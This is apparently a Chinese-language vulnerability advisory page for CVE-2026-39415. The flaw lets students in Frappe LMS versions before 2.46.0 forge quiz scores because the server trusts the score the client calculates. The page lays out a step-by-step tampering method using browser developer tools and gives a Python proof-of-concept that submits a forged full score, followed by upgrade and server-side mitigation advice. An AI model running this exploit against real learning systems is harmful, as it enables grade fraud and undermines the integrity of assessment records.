IPBUF安全漏洞报告
English
CVE-2026-39415 CVSS 4.3 中危

CVE-2026-39415 Frappe LMS客户端评分篡改漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-39415
漏洞类型
客户端篡改
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frappe Learning Management System (LMS)

相关标签

客户端篡改逻辑漏洞Frappe LMSCVSS-4.3数据完整性

漏洞概述

Frappe LMS 学习管理系统在 2.46.0 之前的版本中存在严重设计缺陷。由于系统过度依赖客户端计算测验分数,导致学生可以通过浏览器开发者工具在提交请求前篡改分数。尽管该漏洞不会导致权限提升或数据泄露,但它严重破坏了系统的数据完整性和学术结果的可靠性。攻击者利用此漏洞可轻易伪造满分记录,影响评估结果的有效性。

技术细节

该漏洞的核心在于服务器端未对关键业务数据进行二次校验,直接信任了来自客户端的分数数据。正常情况下,测验分数应由服务器端根据用户提交的答案与数据库中的标准答案进行比对计算得出。然而,Frappe LMS 在受影响版本中,将分数计算逻辑放在了前端 JavaScript 中执行。当用户点击提交时,浏览器会将计算好的分数打包发送给服务器。攻击者只需利用浏览器的开发者工具(如 Chrome DevTools),在“Network”选项卡中拦截提交请求,或在“Console”中修改负责存储分数的 JavaScript 变量,即可将分数任意修改为高分甚至满分。服务器收到请求后,未进行逻辑校验便直接存入数据库,从而实现了对业务逻辑的攻击。这是一种典型的客户端信任漏洞(Client-Side Trust)。

攻击链分析

STEP 1
步骤1
学生用户登录到受影响的Frappe LMS系统并开始参与一个测验。
STEP 2
步骤2
完成测验答题,但不要点击提交。此时前端JavaScript已经计算出了实际分数。
STEP 3
步骤3
打开浏览器的开发者工具(F12),切换到“Sources”或“Console”面板,定位存储当前分数的变量;或者在“Network”面板准备拦截提交请求。
STEP 4
步骤4
修改变量值或拦截请求包,将“score”参数的值修改为满分(如100)。
STEP 5
步骤5
发送篡改后的请求。服务器接收请求后,未验证答案准确性,直接保存了伪造的高分。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target API endpoint for submitting quiz results url = "https://target-lms-instance.com/api/method/lms.lms.doctype.quiz_attempt.quiz_attempt.submit" # Payload representing the tampered data # In a vulnerable scenario, the 'score' is calculated on the client side. # An attacker can modify this value before sending the request. payload = { "quiz_attempt": "attempt_id_here", "answers": {}, "score": 100, # Tampered score: changed from actual score to maximum "status": "Submitted" } # Authentication cookies (obtained after logging in as a student) cookies = { "sid": "student_session_id_here", "system_user": "no" } # Send the POST request with the modified score response = requests.post(url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! Quiz submitted with modified score: 100") else: print("[-] Exploit failed.") print(response.text)

影响范围

Frappe LMS < 2.46.0

防御指南

临时缓解措施
建议管理员立即将Frappe LMS系统升级至2.46.0版本以彻底修复此漏洞。如果无法立即升级,应在服务器端部署临时修复补丁,修改API逻辑以确保在保存测验结果前,系统会根据用户提交的答案和标准答案在服务端重新计算分数,覆盖或忽略客户端传递的分数参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表